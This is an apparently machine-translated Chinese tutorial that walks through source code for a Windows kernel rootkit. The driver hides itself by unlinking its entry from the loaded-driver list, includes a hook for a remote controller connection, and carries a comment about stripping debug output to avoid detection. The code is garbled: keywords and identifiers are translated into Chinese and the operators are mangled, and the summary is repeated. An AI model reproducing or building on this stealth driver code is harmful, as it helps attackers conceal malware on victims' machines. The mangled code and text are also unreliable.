审查:1。总结



本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。



本文介绍了主要的rootkit






1。总结



本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。



Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。



二,rootkit的主体



本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体显然,因为在系统中,设备驱动程序和操作系统都是程序中的特权类。他们运行在ring0系统中访问所有的代码和数据。还有一点要注意,因为这种情况下的主要目的是介绍如何rootkit是无形的,所以没有特定功能的后门等。



我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:



/ /看不见的。H:我们的rootkit的头文件

#则_invisible_h_

#定义_invisible_h_



typedef布尔型;

typedef unsigned long DWORD;

typedef DWORD * pdword;

typedef unsigned long页;

定义无符号短词;

定义字节类型;



typedef struct _driver_data

{

list_entry listentry;

一个DWORD值;

DWORD unknown2;

DWORD unknown3;

DWORD unknown4;

DWORD unknown5;

DWORD unknown6;

DWORD unknown7;

unicode_string路径;

unicode_string名称;

driver_data };



# endif









我们知道,应用程序可以包括大量的定义,只要他们把几个文件,如stdio. h和windows.h.but这种司机不在这里工作。有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。



在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。



Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。



/不可见



#包括ntddk。H

#包括看不见的。H

#包括文件管理器的。

#包括configmanager。H



全局变量

页主版本号;

ulong MinorVersion;



当自由构建时,将注释排除在外以避免被检测到。

无效的卸载文件(在pdriver_object pdriverobject)

{

DbgPrint(comint16:onunload叫。);

}





NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)

theregistrypath)

{

driver_data * driverdata;



获取操作系统的版本

psgetversion(主版本号,MinorVersion,null,null);



= 4:Windows NT 4、Windows ME、Windows 98或Windows 95

= 5:Windows Server 2003、WindowsXP或Windows 2000

0,Windows 2000,Windows NT 4或Windows 95

1

2:Windows服务器2003



如果(主版本号= = 5 = = 2 MinorVersion)

{

DbgPrint(comint16:在Windows 2003的运行);

}

如果(主版本号= = 5 = = 1 MinorVersion)

{

DbgPrint(comint16:运行在Windows XP);

}

如果(主版本号= = 5 = = 0 MinorVersion)

{

DbgPrint(comint16:运行于Windows 2000);

}

如果(主版本号= = 4 = = 0 MinorVersion)

{



DbgPrint(comint16:运行在Windows NT 4 );

}

其他的

{

DbgPrint(comint16:未知系统运行);

}



隐藏驱动程序

driverdata = *((driver_data * *)((DWORD)pdriverobject 20));

如果(driverdata!= null)

{

将删除目录中相应条目中的驱动程序/驱动器

*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;

driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;

}



允许驱动程序/卸载



pdriverobject ->卸载= onunload;



控制器被配置为连接 / / rootkit

如果(!!nt_success(配置()))

{

DbgPrint(comint16:无法配置远程连接上。;

返回status_unsuccessful;

}



返回status_success;

}